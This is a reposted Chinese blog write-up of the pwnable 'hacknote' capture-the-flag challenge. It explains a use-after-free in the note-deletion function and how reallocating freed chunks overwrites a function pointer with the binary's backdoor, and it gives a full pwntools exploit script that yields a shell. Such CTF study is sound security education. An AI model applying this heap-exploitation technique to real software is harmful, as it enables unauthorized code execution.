当前位置:主页 > 查看内容

pwnable_hacknote

发布时间:2021-06-07 00:00| 位朋友查看

简介:IDAF5 main函数 add_note 函数 notelist是4字节。在源代码中每个notelist[i]装的是新malloc的地址。 *notelist指向这个地址的内容。 *notelist[i]print_note_content print_note_content又是4个字节。 v1指针指向notelist[0]的内容即新的malloc地址。那么*no……

IDA,F5

main函数
在这里插入图片描述
add_note 函数

在这里插入图片描述

在这里插入图片描述
notelist是4字节。在源代码中,每个notelist[i]装的是新malloc的地址。
*notelist指向这个地址的内容。
*notelist[i]=print_note_content ,print_note_content又是4个字节。
v1指针指向notelist[0]的内容,即新的malloc地址。那么*notelist内容就可以被分为v1[0]和v1[1]。v1[0]的内容是print_note_content返回值。
v1[1]=malloc(size),即v1[1]里面又装着一个新的chunk地址。
在这里插入图片描述

delnote 函数

free两次,没有设置为null,存在UAF漏洞。
在这里插入图片描述
此题留有后门函数:
在这里插入图片描述
print_note函数
在这里插入图片描述
这个函数打印的是第一个chunk的v1[0]部分,也就是print_note_content的地址。

分析

这个题可以想办法把v1[0]的内容,由print_note_content()地址变成magic()函数地址。
这里可以先add note两次,那么,就产生了4个chunk。注意,chunk content一定要比chunk p大。
在这里插入图片描述

del note(0)把notelist[0]所连的2个chunkfree掉。因为两个chunk大小不同,会被链在不同的串上。一个是0x10,一个是0x18。
在这里插入图片描述
del note(1)把notelist[1]所连的2个chunkfree掉。
在这里插入图片描述
可以想到,0x10所连的2个chunk分别是chunk p1和chunk p2。
接着调用add note,设定传送的大小是0x8,而0x8+0x4+0x4=0x10,正好可以分配chunk p2和chunk p1。
不要忘了add note函数的功能:可以把两个chunk链接起来
在这里插入图片描述
chunk p2的v1[1]的内容是chunk p1的地址。chunk p2 作为新的chunk p,chunk p1 是chunk content。所以在写入chunk content时,把magic函数作为内容写入。最后利用print_note()函数读取notelist[0]的v1[0]。最后拿到shell。所以此时chunk p1和chunk p2的关系是:

在这里插入图片描述

解题代码

from pwn import *

context.log_level = 'debug'
p = process('./hacknote')
elf = ELF('./hacknote')

def add(size,content='aaaa'):
    p.sendlineafter(':','1')
    p.sendlineafter(':',str(size))
    p.sendlineafter(':',content)

def delete(index):
    p.sendlineafter(':','2')
    p.sendlineafter(':',str(index))

def show(index):
    p.sendlineafter(':','3')
    p.sendlineafter(':',str(index))

def dbg():
    gdb.attach(p)
    pause()

sh = p32(elf.sym['magic'])
add(0x10)
add(0x10)
#dbg()
delete(0)
#dbg()
delete(1)
#dbg()
add(0x8,sh)
#dbg()
show(0)


#dbg()
p.interactive()

大功告成

在这里插入图片描述

这道题绕来绕去好晕啊~吃饭去啦!
在这里插入图片描述

;原文链接:https://blog.csdn.net/qq_41560595/article/details/115538337
本站部分内容转载于网络,版权归原作者所有,转载之目的在于传播更多优秀技术内容,如有侵权请联系QQ/微信:153890879删除,谢谢!

推荐图文


随机推荐